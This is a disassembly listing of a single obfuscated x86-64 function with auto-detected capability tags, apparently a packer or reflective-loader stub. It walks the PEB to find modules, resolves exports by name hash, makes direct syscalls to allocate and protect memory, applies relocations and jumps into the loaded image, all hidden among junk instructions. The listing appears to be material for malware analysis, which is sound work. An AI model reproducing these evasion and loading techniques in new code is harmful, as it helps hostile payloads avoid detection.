Function at 0x140442d29
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get kernel32 base address
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
stc
push r14
cmp sil, 0x19
push r13
jmp 0x140442d39
push r12
stc
test r9w, 0x5219
push rsi
test eax, r14d
cmc
push rdi
push rbp
push rbx
cmp bx, 0x2e1e
test cx, bx
sub rsp, 0x78
jmp 0x140442d5c
cmp qword [0x1400dd010], 0
jmp 0x140442d69
je 0x140442dc3
xor eax, eax
lea rcx, [section.cwRdEzx0]
xor r15, 0x7fd26776
cmp di, bx
sub r15b, 0x60
nop word cs:[rax + rax]
bsf r15w, di
rcr r15b, cl
or r15b, 0x7b
lea r15, [rax + 0x10]
cmp qword [rax + rcx + 0x20], 0
movsx rax, di
bswap rax
mov rax, r15
jmp 0x140442db8
jne 0x140442d9f
jmp 0x140442dc9
xor r15d, r15d
sbb r10b, r13b
movabs r12, 0xcbf29ce484222325
shl cx, 0x75
movabs r13, 0x1d12a89b9e723ff5
add ch, cl
mov rcx, qword gs:[0x30]
movsx r10, r14w
mov rcx, qword [rcx + 0x60]
cmp r10, rbp
sbb r8w, 0x58e1
movsx r8d, ax
mov r10, qword [rcx + 0x18]
movzx r8, dx
or r8, r9
add r10, 0x10
mov r8b, 0xfc
jmp 0x140442e1c
movabs r8, 0x2cc10c8855a9a8cd
jmp 0x140442e2b
jmp 0x140442e39
cmp rbx, r8
je 0x140442f1a
mov r10, qword [r10]
movzx r9d, ax
mov r9, qword [r10 + 0x30]
cmc
test r9, r9
je 0x140443170
mov r11, qword [r10 + 0x60]
mov rdi, 0xffffffffffffffff
cmp ebx, 0x8af6397
jmp 0x140442e6a
cmp word [r11 + rdi*2 + 2], 0
jmp 0x140442e76
lea rdi, [rdi + 1]
jne 0x140442e6a
mov rbx, r12
cmp r11w, dx
clc
test rdi, rdi
je 0x140442e30
sub ecx, ecx
rcr bpl, 0x64
movsxd rdx, edi
mov rdx, r12
xor sil, r13b
nop word [rax + rax]
movzx ebx, word [r11 + rcx*2]
xadd sil, al
bt rbp, r9
lea ebp, [rbx - 0x41]
ror esi, 0xc6
lea esi, [rbx - 0x410]
and al, dil
lea eax, [rbx + 0x20]
cmc
cmp si, 0x20
jmp 0x140442ecf
cmovb ebx, eax
cmp bp, 0x1a
jmp 0x140442edb
cmovb ebx, eax
jmp 0x140442ee7
movzx ebx, bx
xor rbx, rdx
stc
test dil, r12b
imul rbx, r13
movzx edx, ax
inc ecx
cmovns edx, r11d
mov rdx, rbx
cmp cx, 0x4786
stc
cmp rcx, rdi
jmp 0x140442f0f
jb 0x140442ea6
jmp 0x140442e30
test r10, r10
jmp 0x140442f22
je 0x140443170
movsxd rax, dword [r9 + 0x3c]
sar ch, 0x74
mov eax, dword [r9 + rax + 0x88]
adc cx, sp
sub dl, 0x88
movsx dx, r12b
lea rcx, [r9 + rax]
movsx dx, bh
test cx, 0x5fb7
test rax, rax
movsx dx, r11b
movsxd rdx, esi
cmove rcx, rax
mov qword [rsp + 0x38], rcx
or dl, 0xae
bts rdx, rbx
movsx dx, r11b
mov edx, dword [rcx + 0x18]
test edx, edx
jmp 0x140442f79
je 0x140443170
mov rax, qword [rsp + 0x38]
neg ch
shld r8w, r15w, 0xc4
sal cx, 0x3e
mov ecx, dword [rax + 0x20]
lea rcx, [rcx + r9]
btc r10w, r14w
mov qword [rsp + 0x40], rcx
xor r10w, sp
btr r8w, 0xd2
bts r8, r10
mov r10d, dword [rax + 0x24]
rcr r8b, 0x4e
bt r8w, r12w
add r10, r9
xchg r8d, r8d
sbb r8w, sp
mov r8d, dword [rax + 0x1c]
jmp 0x140442fcf
add r8, r9
sub edi, edi
jmp 0x140443001
mov edx, dword [rsp + 0x20]
movzx ax, r13b
inc rdi
btr ax, 0x37
ror rax, cl
mov eax, edx
cmp cl, r9b
cmc
cmp rdi, rax
jmp 0x140442ffb
jae 0x140443170
movzx ecx, word [r10 + rdi*2]
bsf bx, r8w
movzx ebx, ax
mov ebx, dword [r8 + rcx*4]
cmp r11b, r12b
cmp r15w, 0x48a6
cmc
cmp dword [r9 + rbx], 0xb8d18b4c
jne 0x140442fe2
mov dword [rsp + 0x20], edx
shr bpl, cl
mov rax, qword [rsp + 0x40]
movsx esi, ax
mov esi, dword [rax + rdi*4]
setge bpl
rcr ebp, cl
ror bpl, 0xd1
lea rsi, [rsi + r9]
mov rbp, 0xffffffffffffffff
nop dword [rax + rax]
cmp r11d, edx
jmp 0x14044305e
cmp byte [rsi + rbp + 1], 0
jmp 0x140443068
lea rbp, [rbp + 1]
jmp 0x140443071
jne 0x14044305e
mov rcx, r12
clc
test rbp, rbp
jmp 0x140443083
je 0x140443107
xor r14d, r14d
mov r11, r12
seta dl
clc
movsx rcx, r8w
nop dword [rax]
nop
movzx ecx, byte [rsi + r14]
dec al
adc al, 0xb8
rcr dl, 0x7d
lea edx, [rcx - 0x41]
cwde
lea eax, [rcx + 0x20]
test r8b, 0x89
cmp bp, 0x647d
clc
cmp dl, 0x1a
jmp 0x1404430c5
movzx eax, al
cmovae eax, ecx
test spl, 0x9b
test ax, r13w
neg rcx
movsx rcx, al
jmp 0x1404430df
xor rcx, r11
movsxd r11, ecx
sub r11b, 0x30
bt r11, r14
imul rcx, r13
inc r14d
mov r11, rcx
test r11, 0x78ee7c3d
cmp r14, rbp
jb 0x1404430a0
mov rsi, qword [0x1400dd010]
stc
test rsi, rsi
je 0x140442fd9
lea rbp, [0x1400dd020]
clc
nop word cs:[rax + rax]
clc
cmp rsi, rcx
jmp 0x140443138
je 0x140443156
mov rsi, qword [rbp]
cmc
stc
add rbp, 0x10
test rsi, rsi
jne 0x140443130
jmp 0x140442fd9
mov eax, dword [rbx + r9 + 4]
mov dword [rbp - 8], eax
mov rax, qword [rsp + 0x38]
mov edx, dword [rax + 0x18]
jmp 0x14044316b
jmp 0x140442fe2
test r15, r15
jmp 0x140443178
je 0x1404431f7
sub ebp, ebp
mov bh, 0x6f
lea rbx, [section.cwRdEzx0]
mov rcx, r12
nop dword [rax]
adc dx, di
cmp r8d, 0x37603bbc
movzx edx, byte [rbp + rbx + 0x10]
xor rcx, rdx
imul rcx, r13
jmp 0x1404431ab
inc ebp
cmp rbp, r15
jmp 0x1404431b5
jb 0x14044319a
movabs rdx, 0xe9203a08b69f42e8
add rcx, rdx
movabs rdx, 0x52aea00e8a0b3911
test rdx, rdi
cmp bx, r13w
xor rdx, rcx
shr ch, 0xc0
movabs rcx, 0xee16cad6b000daab
stc
clc
test dil, 0x17
add rcx, rdx
jmp 0x140443206
movabs rcx, 0xd5d341ba60cb39c7
bts ax, sp
nop
rol rcx, 0x16
movsx rax, r9w
btr eax, 0xd1
movabs rax, 0x957b6a83b7a0090f
test r13w, 0x110b
xor rax, rcx
bts cx, cx
movsxd rcx, r13d
movabs rcx, 0xec0e237d69308474
add rcx, rax
jmp 0x14044323e
mov qword [0x1400b7208], rcx
cmp qword [0x1400de010], 0
jmp 0x140443252
je 0x1404432a6
sub ecx, ecx
bts edx, ecx
movsxd rax, r14d
lea rdx, [section..iVicUx1]
rol ax, cl
xor ax, r10w
movzx ax, r14b
nop
cmp rcx, 0x9d773f8
bswap ax
lea rax, [rcx + 0x10]
cmp qword [rcx + rdx + 0x20], 0
cmovae ecx, ebp
mov ch, 0xb8
movzx rcx, ax
mov rcx, rax
jmp 0x14044329b
jne 0x14044327f
jmp 0x1404432ac
xor eax, eax
cmp spl, 0x20
mov qword [rsp + 0x60], rax
cmp r14d, 0x216e6434
jmp 0x1404432be
xor ecx, ecx
jmp 0x1404432c5
jmp 0x1404432e9
mov rcx, qword [rsp + 0x30]
jmp 0x1404432d4
inc rcx
cmp ch, 0x2c
cmp rcx, 8
jmp 0x1404432e3
je 0x14044367e
lea rax, [0x1400bfdf0]
cmc
mov qword [rsp + 0x30], rcx
sal r8d, cl
mov r8, qword [rax + rcx*8]
bsf ax, r13w
dec r10b
movzx eax, si
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
rcr r10w, 0xb8
mov r10, qword [rax + 0x18]
add r10, 0x10
jmp 0x140443327
jmp 0x140443335
cmp rdx, r8
je 0x14044342c
mov r10, qword [r10]
jmp 0x140443343
mov r11, qword [r10 + 0x30]
test r11, r11
jmp 0x14044334f
je 0x1404432ca
mov r14, qword [r10 + 0x60]
mov bl, r11b
bt ebx, r9d
mov rbx, 0xffffffffffffffff
stc
cmp ch, 0x45
cmp r9d, r9d
nop dword [rax]
jmp 0x140443379
cmp word [r14 + rbx*2 + 2], 0
jmp 0x140443385
lea rbx, [rbx + 1]
jne 0x140443379
mov rdx, r12
cmp r11b, 0xa
cmp r10b, r9b
test rbx, rbx
je 0x14044332c
sub ecx, ecx
sub bp, r13w
btc rdi, 0xb5
mov rdi, r12
shl si, cl
nop word [rax + rax]
bt bp, 0x89
or rsi, 0x77870c82
movzx eax, word [r14 + rcx*2]
lea edx, [rax - 0x41]
neg bp
cmp r15b, r11b
shrd esi, edx, 0x24
lea esi, [rax - 0x410]
rol bpl, cl
lea ebp, [rax + 0x20]
cmc
cmp si, 0x20
cmovb eax, ebp
cmp dx, 0x1a
cmovb eax, ebp
cwd
movzx edx, ax
cmp r8w, r10w
stc
test rax, 0x220a5590
xor rdx, rdi
setp dil
imul rdx, r13
movsx edi, r14w
inc ecx
movsx edi, di
mov rdi, rdx
cmp rcx, rbx
jmp 0x140443421
jb 0x1404433c5
jmp 0x14044332c
test r10, r10
jmp 0x140443434
je 0x1404432ca
movzx eax, word [r11]
cmc
cmp eax, 0x5a4d
jmp 0x140443449
jne 0x14044347f
movsxd rax, dword [r11 + 0x3c]
lea rcx, [r11 + rax]
cmp dword [r11 + rax], 0x4550
movsx rax, ax
movzx ax, r8b
cmove r9, r11
mov rax, qword [rsp + 0x58]
jmp 0x140443476
cmove rax, rcx
jmp 0x140443484
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x58], rax
test r12, r12
mov ecx, dword [rax + 0x88]
btr eax, r15d
movzx bp, r13b
lea rax, [r9 + rcx]
test rcx, rcx
movzx ebp, r14w
movzx rbp, r10w
mov bp, dx
cmove rax, rcx
mov ebp, dword [rax + 0x18]
test r8b, al
test dh, 0xb7
test ebp, ebp
je 0x1404432ca
mov r14d, dword [rax + 0x20]
add r14, r11
movsx rcx, r8w
bsr ecx, ebx
mov ecx, dword [rax + 0x24]
add rcx, r11
cmp ecx, edi
cmc
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x20], rax
clc
jmp 0x1404434e9
mov eax, dword [rax + 0x1c]
test r15w, r15w
cmp bx, 0x4389
lea rax, [rax + r11]
mov qword [rsp + 0x38], rax
sub esi, esi
jmp 0x140443505
jmp 0x14044356e
mov rax, qword [rsp + 0x40]
rcl dh, 0x8f
dec dx
movzx eax, word [rax + rsi*2]
mov rdx, qword [rsp + 0x38]
shr bp, cl
movzx rbp, bp
mov eax, dword [rdx + rax*4]
add rax, r11
not bpl
dec ebp
mov bpl, dl
mov qword [rcx - 8], rax
movzx rbp, di
not ax
bswap bp
mov rax, qword [rsp + 0x20]
movzx ebp, cx
movsx rbp, r11w
mov ebp, dword [rax + 0x18]
lahf
cwde
mov ax, r10w
inc rsi
lahf
bts eax, r9d
mov eax, ebp
cmp rsi, rax
jmp 0x140443568
jae 0x1404432ca
mov r8d, dword [r14 + rsi*4]
rol bh, cl
add r8, r11
ror bl, cl
mov rbx, 0xffffffffffffffff
test sil, cl
nop dword [rax]
test esi, 0x421e3c5e
cmp r10b, spl
cmp byte [r8 + rbx + 1], 0
jmp 0x14044359b
lea rbx, [rbx + 1]
jmp 0x1404435a4
jne 0x140443590
mov r10, r12
jmp 0x1404435b6
test rbx, rbx
jmp 0x1404435be
je 0x140443636
xor ecx, ecx
mov r15, r12
nop dword [rax]
shr dh, cl
rcl dx, 0x22
dec rdx
movzx edi, byte [r8 + rcx]
or r10, 0x1d9c6c83
movsx r10d, r13w
mov r10w, 0x6d9b
lea eax, [rdi - 0x41]
lea edx, [rdi + 0x20]
dec r10w
sar r10b, 0x74
cmp al, 0x1a
movzx eax, dl
movsx r10, ax
cmovae eax, edi
movsx r10, al
xor r10, r15
add r15d, 0x10b27396
imul r10, r13
cmovno r15d, esp
movzx r15w, r9b
inc ecx
mov r15, r10
cmp rcx, rbx
jmp 0x140443630
jb 0x1404435d9
mov rbx, qword [0x1400de010]
clc
test rbx, rbx
je 0x140443556
lea rcx, [0x1400de020]
jmp 0x140443653
nop dword [rax + rax]
cmp rbx, r10
je 0x14044350a
mov rbx, qword [rcx]
cmc
stc
add rcx, 0x10
clc
test rbx, rbx
jmp 0x140443673
jne 0x140443658
jmp 0x140443556
mov rax, qword [rsp + 0x60]
test rax, rax
jmp 0x14044368b
je 0x1404436f4
xor ecx, ecx
lea rbp, [section..iVicUx1]
adc dx, 0x34e3
ror dl, cl
sal dx, cl
nop dword [rax]
movzx edx, byte [rcx + rbp + 0x10]
xor rdx, r12
adc r12b, 0x45
btr r12w, 0x7d
sbb r12b, dil
imul rdx, r13
setge r12b
movzx r12, r11w
movsx r12d, bx
inc ecx
neg r12d
or r12b, r11b
and r12b, bl
mov r12, rdx
cmp r11w, 0x3391
stc
cmp rcx, rax
jmp 0x1404436e9
jb 0x1404436a7
jmp 0x1404436f7
mov rdx, r12
rol rdx, 0xb
ror ax, 0x98
movabs rax, 0xdf7ad2359957b5f4
shr cl, 0x18
movsx cx, dil
add rax, rdx
bts cx, di
rol rax, 0x16
btc cx, di
movabs rcx, 0x4934245b3ce013cf
xor rcx, rax
movabs rax, 0x5b5c0083c64fa867
test r10b, 0x18
add rax, rcx
btc ecx, eax
rol rax, 0xc
bt cx, r14w
xchg ecx, ecx
movabs rcx, 0xdd5421de87040723
add rcx, rax
rol rcx, 0x25
bsr ax, r11w
lahf
mov qword [0x1400b7210], rcx
sbb ecx, r13d
bts cx, r10w
mov eax, dword [0x7ffe0014]
xchg cl, ch
sub cl, 0x8c
mov ecx, r11d
mov dword [0x1400b8eb8], eax
movzx ecx, word [0x140000000]
test r11w, si
cmp ecx, 0x5a4d
jmp 0x14044379d
jne 0x1404437de
movsxd rcx, dword [0x14000003c]
sbb rdx, 0x62b72cfe
lea rdx, [0x140000000]
cmc
cmp dword [rcx + rdx], 0x4550
jne 0x1404437de
lea rbx, [rcx + rdx]
neg r10b
rcr r9b, cl
lea r14, [rcx + rdx]
add r14, 0x108
setns ch
imul eax, eax, 0x41c64e6d
rcr r13b, cl
btr r12w, bp
add eax, 0x3039
inc r9b
or r13b, r14b
imul ecx, eax, 0x41c64e6d
test sil, cl
shr eax, 0x10
lea edx, [rax + rax*2]
shr edx, 0x10
xor r12, 0x24ff5fab
mov ebp, eax
sub ebp, edx
xor r12b, 0xc8
bt r12d, 0xaf
movzx ebp, bp
shr ebp, 1
adc r13b, 0x5d
stc
add ebp, edx
inc dl
setg r13b
stc
movzx r13d, bp
cmc
sal r9b, cl
shr r13d, 0xe
add r13d, eax
movsx rax, dx
bts r9w, bx
sar eax, cl
and r13d, 0x3fff
shrd r12w, r10w, 0xcb
add r13d, 0xfff
test sp, r11w
and r13d, 0x7000
dec r12b
rol r9b, cl
add ecx, 0x3039
mov dword [0x1400b8eb8], ecx
cbw
dec r12d
shr ecx, 0x10
movzx rax, cx
lea eax, [rcx + rcx*2]
rcr r10w, cl
setno r9b
mov r12b, r12b
shr eax, 0x10
movzx r12d, bx
btr r12w, 0x18
mov edx, ecx
movzx r12w, bl
sub edx, eax
movzx edx, dx
shr edx, 1
add edx, eax
movzx r12d, dx
shr r12d, 0xe
rcl eax, 0x11
or dh, 0x2e
add r12d, ecx
bts cx, r15w
add r10b, 0x9c
and r12d, 0x3fff
dec r9b
add r12d, 0xfff
neg r10b
rcl r10d, cl
sar cl, 0x6d
and r12d, 0x7000
bsr dx, r9w
sal ch, 0xb9
clc
mov qword [rsp + 0x28], 0
test r14b, r14b
movsx r10d, si
rol cx, cl
mov qword [rsp + 0x20], rbx
cbw
mov ecx, dword [rbx + 0x50]
not r10w
add rcx, r12
add rcx, r13
or r9b, r15b
bts dx, dx
mov qword [rsp + 0x48], rcx
movzx r10, r14w
not r10b
mov eax, dword [0x1400dd078]
neg r9b
lea rdx, [rsp + 0x28]
bswap r10
or r10w, bp
cmp r12b, r8b
lea r9, [rsp + 0x48]
xchg r10d, r10d
mov r10, 0xffffffffffffffff
xor r8d, r8d
sub rsp, 0x40
jmp 0x140443963
mov qword [rsp + 0x28], 0x3000
jmp 0x140443971
mov qword [rsp + 0x30], 4
jmp 0x14044397f
syscall
add rsp, 0x40
add cl, dil
mov rcx, qword [rsp + 0x28]
btr r8, rbx
sub r8w, 0x5dca
dec r8b
mov r8, qword [rsp + 0x48]
test bl, 0xb7
xor edx, edx
jmp 0x1404439a9
call fcn.1404a4df5
mov r15, qword [rsp + 0x28]
test dl, 0xd1
test r13d, r13d
jmp 0x1404439be
je 0x140443c2d
mov rcx, r13
bt esi, esi
sal ebx, cl
shr rcx, 3
cmp rcx, 2
mov r8d, 1
movsx rdi, dx
cwd
cmovae r8, rcx
xor r9d, r9d
nop word cs:[rax + rax]
rol rbx, cl
movzx rbx, r14w
mov edx, 0x4598303f
imul edx, dword [0x1400b8eb8], 0x41c64e6d
neg bh
cmc
add edx, 0x3039
rol bh, cl
bswap bx
movzx di, r14b
imul edi, edx, 0x41c64e6d
mov ebp, edx
add dx, bp
sar al, 0xb
shr ebp, 0x10
lea edx, [rbp + rbp*2]
dec sil
and rbx, 0x50023ed7
shr edx, 0x10
bts cx, dx
mov eax, ebp
cmp bp, 0x6d6e
sub eax, edx
btr cx, r9w
sar ch, cl
movzx eax, ax
movsx ecx, r8w
movzx cx, bpl
shr eax, 1
xor ebx, r15d
add eax, edx
and sil, 0x16
add edi, 0x3039
setnp sil
rcr cx, 0x3c
movzx edx, ax
sete cl
sar rsi, cl
test edi, ecx
mov eax, edi
clc
stc
shr eax, 0x10
cmc
and sil, cl
lea ebx, [rax + rax*2]
xor cx, 0x27cc
shl ecx, cl
stc
shr edx, 0xe
shr ebx, 0x10
ror ch, 7
mov esi, eax
or ch, 0xfb
sub esi, ebx
btr ecx, r14d
movsx cx, dl
cmp ebx, eax
mov ecx, edx
movzx esi, si
jmp 0x140443aba
shr esi, 1
cmp r10b, 0x37
jmp 0x140443ac8
add esi, ebx
stc
shl ecx, 0xf
movsx ebx, di
or bx, 0x76ac
movzx ebx, si
bsf si, r8w
cmp rsp, rdx
shr ebx, 0xe
ror si, cl
mov esi, ebx
cmp r10, 0x52af6740
clc
sub edx, ecx
xadd ch, cl
stc
sal cx, 0xa4
shl esi, 0xf
and cx, bp
rcl ch, 0x4d
sub ebx, esi
sar ch, cl
cmovge cx, r8w
add ebx, eax
rol ch, 0xc6
add edx, ebp
sub rax, r12
sub ebp, ebp
xor ah, 0x78
cmp bx, 0x10
movsxd rax, esi
movsx rbx, r8w
setb bpl
neg cx
inc cl
rcl cx, 0xe2
imul eax, edi, 0x41c64e6d
bts ecx, r15d
btr cx, 0x53
rcr di, cl
add eax, 0x3039
shl bh, 0x44
cmc
imul ecx, eax, 0x41c64e6d
shl dil, cl
sbb di, 0x1ef5
shr eax, 0x10
lea ebx, [rax + rax*2]
sbb rdi, rcx
shr ebx, 0x10
movzx edi, r13w
movzx di, sil
mov di, 0x54ac
mov edi, eax
sub edi, ebx
movzx edi, di
cmp r8b, 0xbf
shr edi, 1
test ebx, edx
add edi, ebx
btc bx, r15w
xadd bl, bh
bt rbx, rsp
movzx edx, dx
rcl rbx, 0xd2
add bx, 0x157d
rcr rbx, cl
movzx ebx, di
shr ebx, 0xe
ror di, 0x40
test bx, 0x5690
test rsp, rcx
mov edi, ebx
cmp r10b, 0xff
or rbp, rdx
cmc
test r11b, r10b
shl edi, 0xf
stc
sub ebx, edi
test dh, 0x29
clc
add ebx, eax
jmp 0x140443bd5
add ecx, 0x3039
cmp r8b, r11b
sub eax, eax
mov al, 0x51
rcr al, 0x69
cmp bx, 0x20
setb al
cmp r11w, ax
clc
mov dword [0x1400b8eb8], ecx
jmp 0x140443bfc
or rax, rbp
jmp 0x140443c04
mov qword [r15 + r9*8], rax
jmp 0x140443c0d
inc r9
cmp r12, 0x45184116
test r11, rsi
stc
cmp r8, r9
jne 0x1404439fd
mov r15, qword [rsp + 0x28]
test r8b, 0xe4
test r12, r12
jmp 0x140443c35
je 0x140443eb6
sub r15, r12
shl cx, 0xa3
setb cl
inc rbp
add r15, qword [rsp + 0x48]
shr r8, cl
movzx rbx, r14w
shr r12, 3
movzx rsi, si
movzx ebx, r8w
sub rsi, r10
cmp r12, 2
mov bpl, r12b
cqo
mov r8d, 1
movsx rsi, r14w
cmovno si, r9w
cmovae r8, r12
sub r9d, r9d
ror edi, 0x32
lahf
movsx ebp, si
nop
imul edx, dword [0x1400b8eb8], 0x41c64e6d
add edx, 0x3039
rcl bx, cl
imul edi, edx, 0x41c64e6d
sal rax, cl
sal cl, 0x6a
mov ebp, edx
rcr rbx, 0xd7
shr ebp, 0x10
or bx, 0x4ca4
cmp rsi, 0x16bb6505
lea edx, [rbp + rbp*2]
shr edx, 0x10
rcl cl, 0xa3
adc bl, r9b
movzx ax, bh
mov ebx, ebp
movsx rcx, dx
jmp 0x140443cde
sub ebx, edx
cmovle cx, r11w
sub rsi, r10
shr sil, 0xcf
movzx ebx, bx
shr ebx, 1
adc cl, 0xf5
rol ah, 0xae
add ebx, edx
bswap ax
rdtsc
add edi, 0x3039
btc rdx, 0x5f
movzx edx, bx
or ah, dh
bswap bx
mov ebx, edi
sub si, 0x403d
or al, 0xf6
bsf rax, r9
shr ebx, 0x10
btc ecx, 0x1e
shr al, 0x47
lea esi, [rbx + rbx*2]
shr edx, 0xe
movsx cx, ah
cmc
ror ah, cl
shr esi, 0x10
movsx rcx, r12w
sal rcx, 0x5b
adc cl, r9b
mov eax, ebx
mov cx, r9w
neg cl
sub eax, esi
mov ecx, edx
jmp 0x140443d58
movzx eax, ax
test r12b, 0x90
test sil, r8b
shr eax, 1
clc
test r13, r14
test r13b, 0x56
add eax, esi
shl ecx, 0xf
xadd sil, sil
movsx rsi, r15w
movzx eax, ax
sar sil, 0xbd
movzx rsi, r15w
shr eax, 0xe
cmc
mov esi, eax
sub edx, ecx
movsx rcx, dx
shl esi, 0xf
bt cx, 0xde
movzx cx, r11b
sub eax, esi
add eax, ebx
clc
xchg cx, bx
add edx, ebp
or ebx, r13d
btc cx, r9w
sub ebp, ebp
cmp ax, 0x10
jmp 0x140443dba
setb bpl
xadd cx, cx
imul eax, edi, 0x41c64e6d
and bx, 0x5559
add eax, 0x3039
not bl
cmovnp ecx, edi
imul ecx, eax, 0x41c64e6d
sal ebx, 0xd3
bswap di
sar bx, 0xdb
shr eax, 0x10
sar dil, 0xa5
bt di, bx
shrd ebx, r13d, 0x22
lea ebx, [rax + rax*2]
shr dil, 0x3c
cmc
shr ebx, 0x10
mov edi, eax
jmp 0x140443e0e
sub edi, ebx
test r9b, r11b
movzx edi, di
cmp al, r13b
cmp r8b, 0x6d
shr edi, 1
stc
add edi, ebx
movzx edx, dx
rcl bl, 0xe6
stc
sar bl, 0x89
movzx ebx, di
movsxd rdi, r13d
clc
shr ebx, 0xe
mov edi, ebx
cmp r12w, 0x3d3c
test cl, r14b
or rbp, rdx
cmp r11, r15
test bpl, al
cmp rbx, 0x65d650e2
shl edi, 0xf
cmc
cmp ch, 0x77
sub ebx, edi
add ebx, eax
cmc
add ecx, 0x3039
cmc
test r9, rdi
sub eax, eax
cmp bx, 0x20
setb al
clc
jmp 0x140443e76
mov dword [0x1400b8eb8], ecx
test bx, r14w
cmp r10w, ax
stc
or rax, rbp
jmp 0x140443e8d
mov qword [r15 + r9*8], rax
jmp 0x140443e96
inc r9
jmp 0x140443e9e
cmp r8, r9
jne 0x140443c8b
mov r15, qword [rsp + 0x28]
test r14b, bpl
sbb ax, r15w
sub eax, r15d
mov rax, qword [rsp + 0x20]
jmp 0x140443ec0
add r15, r13
test r13, r15
movzx eax, word [rax + 6]
test rax, rax
je 0x140443fe3
shl rax, 3
add r12b, r14b
seta r12b
lea rbp, [rax + rax*4]
xor edi, edi
and bl, 0x14
sar bh, 0xa2
btr rdx, 0x18
mov ebx, 4
movsx ax, r9b
movzx edx, ax
rol dl, 0x76
lea rsi, [rsp + 0x70]
rcl r8b, cl
lea r12, [rsp + 0x68]
lea r13, [rsp + 0x54]
nop dword [rax + rax]
movzx rcx, si
shl r8b, cl
mov edx, dword [r14 + rdi + 0xc]
sbb ax, 0x3824
lea rcx, [r15 + rdx]
add r8b, r14b
mov qword [rsp + 0x70], rcx
xor r8b, r14b
lea rax, [0x140000000]
add rdx, rax
mov r8w, 0xd07
movzx r8, r15w
mov r8d, dword [r14 + rdi + 8]
jmp 0x140443f52
call fcn.1404a4307
mov eax, dword [r14 + rdi + 8]
adc r10w, r15w
bswap r9
movzx r9, r15w
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x54], 0
cmp r9d, 0x41fb00ab
or r8b, cl
bsr dx, sp
test dword [r14 + rdi + 0x24], 0x20000000
mov r9d, 0x40
lahf
movzx dx, spl
cmove r9d, ebx
sete r10b
mov eax, dword [0x1400dd088]
or dx, ax
mov r10, 0xffffffffffffffff
mov rdx, rsi
cmc
or r8b, r9b
mov r8, r12
sub rsp, 0x30
jmp 0x140443fc2
mov qword [rsp + 0x28], r13
jmp 0x140443fcc
syscall
add rsp, 0x30
add rdi, 0x28
cmp ebp, edi
jmp 0x140443fdd
jne 0x140443f1d
lea rdx, [0x140000000]
jmp 0x140443ff6
mov rax, r15
sub rax, rdx
jmp 0x140444004
mov rsi, qword [rsp + 0x20]
mov cx, si
mov ecx, dword [rsi + 0xb0]
test r10b, spl
cmp r12w, r15w
add rcx, rdx
je 0x140444117
mov r8d, 1
jmp 0x14044402d
jmp 0x14044404e
mov ebx, dword [rcx + 4]
test r12b, 0xc1
cmp r12, 0x7dfe64de
add rcx, rbx
jmp 0x140444048
je 0x140444117
cmp dword [rcx], 0
jmp 0x140444056
je 0x140444117
mov ebx, dword [rcx + 4]
test rbx, rbx
jmp 0x140444067
je 0x140444117
lea rbp, [rbx - 8]
cmp rbp, 2
jb 0x140444040
shr rbp, 1
test r10b, r15b
cmp rbp, 2
jmp 0x14044408a
cmovb rbp, r8
xor ebx, ebx
jmp 0x140444095
jmp 0x1404440d0
and edi, 0xfff
bsf edx, ebp
rol dx, 0x83
mov edx, dword [rcx]
clc
lea rdi, [rdi + r15]
test r8b, 0xf6
test al, spl
add qword [rdx + rdi], rax
jmp 0x1404440be
inc rbx
cmc
cmp rbp, rbx
jmp 0x1404440ca
je 0x140444032
movzx edi, word [rcx + rbx*2 + 8]
stc
test r15b, al
cmp edi, 0x1000
jmp 0x1404440e4
jb 0x1404440be
mov edx, edi
shr edx, 0xc
test r12d, 0x370f39d5
cmp edx, 0xa
jmp 0x1404440fe
je 0x14044409a
cmp edx, 3
jmp 0x14044410c
je 0x14044409a
jmp 0x1404440be
mov ecx, dword [rsi + 0xd0]
jmp 0x140444122
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
movdqu xmm1, xmmword [r15 + rcx]
movdqu xmm2, xmmword [r15 + rcx + 0x10]
paddq xmm1, xmm0
movdqu xmmword [r15 + rcx], xmm1
jmp 0x140444148
paddq xmm2, xmm0
movdqu xmmword [r15 + rcx + 0x10], xmm2
rcr ch, 0x77
xor dh, bh
and dx, bx
lea rdx, [0x14005d630]
sar ch, cl
bt cx, r10w
bts ecx, edx
add rdx, rax
lea rcx, [0x140000000]
jmp 0x14044417b
call rdx
nop
btc bp, 0x41
bt r14w, bp
adc bx, 0x77c3
add rsp, 0x78
mov bpl, 0x8f
jmp 0x140444199
pop rbx
cmovs r15w, r9w
movzx r13w, dil
pop rbp
not r12b
setl r13b
jmp 0x1404441b1
pop rdi
jmp 0x1404441bd
pop rsi
movsxd r12, esi
pop r12
movsx r14d, r9w
mov r13b, r13b
pop r13
movsxd r14, r8d
movsx r14, bp
cmovo r15, rsi
pop r14
movzx r15w, r10b
movsx r15, sp
pop r15
jmp 0x1404441e9
ret